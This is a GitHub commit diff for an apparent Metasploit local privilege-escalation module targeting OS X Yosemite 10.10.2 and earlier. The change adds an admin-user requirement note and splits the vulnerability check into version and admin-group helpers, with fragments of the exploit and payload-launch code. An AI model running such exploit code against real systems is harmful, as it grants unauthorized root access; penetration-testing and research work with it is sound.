File tree Expand file tree Collapse file tree 1 file changed +13
-3
lines changed
modules/exploits/osx/local Expand file tree Collapse file tree 1 file changed +13
-3
lines changed Original file line number Diff line number Diff line change @@ -23,6 +23,8 @@ def initialize(info = {})
23
23
Tested on Yosemite 10.10.2 and should work on previous versions.
24
24
25
25
The patch for this issue was not backported to older releases.
26
+
27
+ Note: you must run this exploit as an admin user to escalate to root.
26
28
} ,
27
29
'Author' => [
28
30
'Emil Kvarnhammar' , # Vulnerability discovery and PoC
@@ -57,9 +59,7 @@ def initialize(info = {})
57
59
end
58
60
59
61
def check
60
- Gem ::Version . new ( get_sysinfo [ 'ProductVersion' ] ) . between? (
61
- Gem ::Version . new ( '10.9' ) , Gem ::Version . new ( '10.10.2' )
62
- ) ? Exploit ::CheckCode ::Vulnerable : Exploit ::CheckCode ::Safe
62
+ ( ver? && admin? ) ? Exploit ::CheckCode ::Vulnerable : Exploit ::CheckCode ::Safe
63
63
end
64
64
65
65
def exploit
@@ -77,6 +77,16 @@ def exploit
77
77
cmd_exec ( payload_file )
78
78
end
79
79
80
+ def ver?
81
+ Gem ::Version . new ( get_sysinfo [ 'ProductVersion' ] ) . between? (
82
+ Gem ::Version . new ( '10.9' ) , Gem ::Version . new ( '10.10.2' )
83
+ )
84
+ end
85
+
86
+ def admin?
87
+ cmd_exec ( 'groups | grep -wq admin && echo true' ) == 'true'
88
+ end
89
+
80
90
def sploit
81
91
"#{ datastore [ 'PYTHON' ] } #{ exploit_file } #{ payload_file } #{ payload_file } "
82
92
end
You can’t perform that action at this time.
0 commit comments